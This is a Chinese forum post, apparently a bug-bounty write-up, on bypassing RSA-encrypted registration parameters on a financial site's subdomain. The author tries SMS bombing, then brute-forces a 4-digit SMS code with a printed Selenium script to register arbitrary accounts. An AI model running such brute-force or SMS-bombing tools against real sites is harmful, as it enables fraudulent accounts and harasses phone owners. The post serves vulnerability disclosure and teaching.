【实战】记一次度某满SRC挖掘之曲线救国

山屿云   ·   发表于 2023-04-08 20:20:03   ·   技术文章

首先提一嘴,这个漏洞已经是修复了,如果大家碰到像这种类型的,可以试试我这种方法

在一个夜黑风高的夜晚,打开了度某满分站,准备搞几个钱

老规矩,开局一个登陆框。看到账号和密码就想爆破,这里我试了一下,发现加密了

不要慌,账号密码加密了而已。我们直接放弃即可!

换个功能点进行,这里发现还有个注册点,打开看看咯

可以注册,还有短信验证,那么就可以试试短信轰炸了,我这里试一试

非常好,被BAN掉了,看来做了校验,不要慌,先看看验证码是多少位

哎呦,是4位的,可以尝试下爆破,不过参数仍然是加密的。。怎么办?

不要慌,先试一试有没有提交次数校验,先给它100个包跑一下看看会不会限制

手动给重放了100个包,发现它不会检测你提交了多少次,只要你输入对了,那就完事了。那么我们接下来咋办,那当然可以尝试一下JS逆向了

先用F12大法查看JS调用栈

看到这么多调用函数,那么就有不懂事的金针菇要问了,我要看哪个?这里我告诉你,一个一个点进去看

当然不是一个一个点进去看,而是点进去一个一个搜索关键词,比如说我们定位密码的传参值

复制这玩意去源码里面搜索就完事了

终于在我们的不懈努力下,找到了这部分源码,我们贴出来简单解释一下。截图错了,应该是这玩意

下面我贴出来给不懂事的金针菇们分析一下

handleSubmit: function() {
    var e = this;
    this.$refs["params"].validate((function(t) {
        if (!t)
            return !1;
        var r = Object.assign({}, e.params);
        r["ucPwd"] = a["crypt"].custom(r["ucPwd"]),
            r["confirmPwd"] = a["crypt"].custom(r["confirmPwd"]),
            r["verifyCode"] = a["crypt"].custom(r["verifyCode"]),
            r["phoneNum"] = a["crypt"].custom(r["phoneNum"]),
            e.$http("/uc/register", "post", r)
            .then((function(t) {
                e.$message({
                        type: "success",
                        message: "注册成功"
                    }),
                    e.goto()
            }), (function(t) {
                e.show = !0
            }))
    }))
}

看到这么多相信大家已经不想看了,没有关系,我也不是很想看,只需要定位一个东西即可a["crypt"]。看到这里,相信不懂事的金针菇又要问了,为什么是这个?很简单,让我们打开百度翻译

好吧,让我们打开百度

那么通过百度,我们知道了这玩意就是一个加密函数,这代码的意思就是把我们的账号密码验证码手机号都加密一遍然后传参到后端校验。那么我们就要定位它是怎么加密的

在此处打断点,我们在提交一遍就可以定位了

看到这个就是打成功了,往下走就好

这里没啥用,直接过

来到这里就比较有用了,可以看到它有一个方法叫setPublicKey,上百度翻译一下

什么玩意需要设置公钥,那肯定是加密的算法,我猜是RSA,接着往下走

这里看到了这玩意,打个断点看看

发现它这里根本没有走这个方法,那直接不用看

下一步走这里,追踪就完事了

看到这里已经看不懂了,没有关系,我们注意一个点

发现这里是RSA加密,那么就可以知道前面的那个o可能就是公钥咯,再往下走看看

再往下走就是加密的流程了,过于复杂,就不贴出来了,上面是加密后的结果。不过我发现每一次加密都是不同的结果。。但是我们又搞不清它加密到底加了个啥?咋办?

别慌,我们还可以手动去提交,从0001-9999依次去提交就完事了

好吧,太累了,我还是写个脚本把。差点忘了我是个脚本小子

# -*- coding:utf-8 -*-

from selenium.webdriver import Chrome
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
import time

url = "http://xxx.com/hkc/register"
web = Chrome()
web.get(url)
a = input(">>")
codeby = web.find_element(By.XPATH, '//*[<span class="label label-primary">@id=</span>"app"]/div/div[2]/form/div[5]/div/div[1]/div/div/input')
f = open('./four_code.txt', mode='r', encoding='utf-8')
"""
1. 使用selenium模块,并下载谷歌浏览器驱动放置在python跟路径
2. 填写其它必要注册信息,获取验证码,接下来的交给脚本(若提交按钮呈现灰色,请先随便输入验证码,点击一次提交按钮,然后清楚你输入的验证码)
3. 回到脚本,随便输入一个字符,开始自动爆破验证码

"""
for code in f.readlines():
    codeby.send_keys(code.strip())
    web.find_element(By.XPATH, '//*[<span class="label label-primary">@id=</span>"app"]/div/div[2]/form/div[7]/div/div/button').click()
    codeby.clear()

见证奇迹的时刻到了!

注册成功!任意用户注册一枚到手!到这里本篇文章就完结了,这里想告诉大家的是,见到加密不要慌,试试其它手法,说不动就到手了,下面贴一张赏金图

用户名金币积分时间理由
Track-聂风 1.00 0 2023-04-09 21:09:00 一个受益终生的帖子~~
admin 200.00 0 2023-04-09 12:12:32 纠正

打赏我,让我更有动力~

2 条回复   |  直到 2023-4-17 | 586 次浏览

山屿云
发表于 2023-4-9

哪里漏点了是嘛

评论列表

  • 加载数据中...

编写评论内容

hareguo
发表于 2023-4-17

wc,这么复杂啊

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.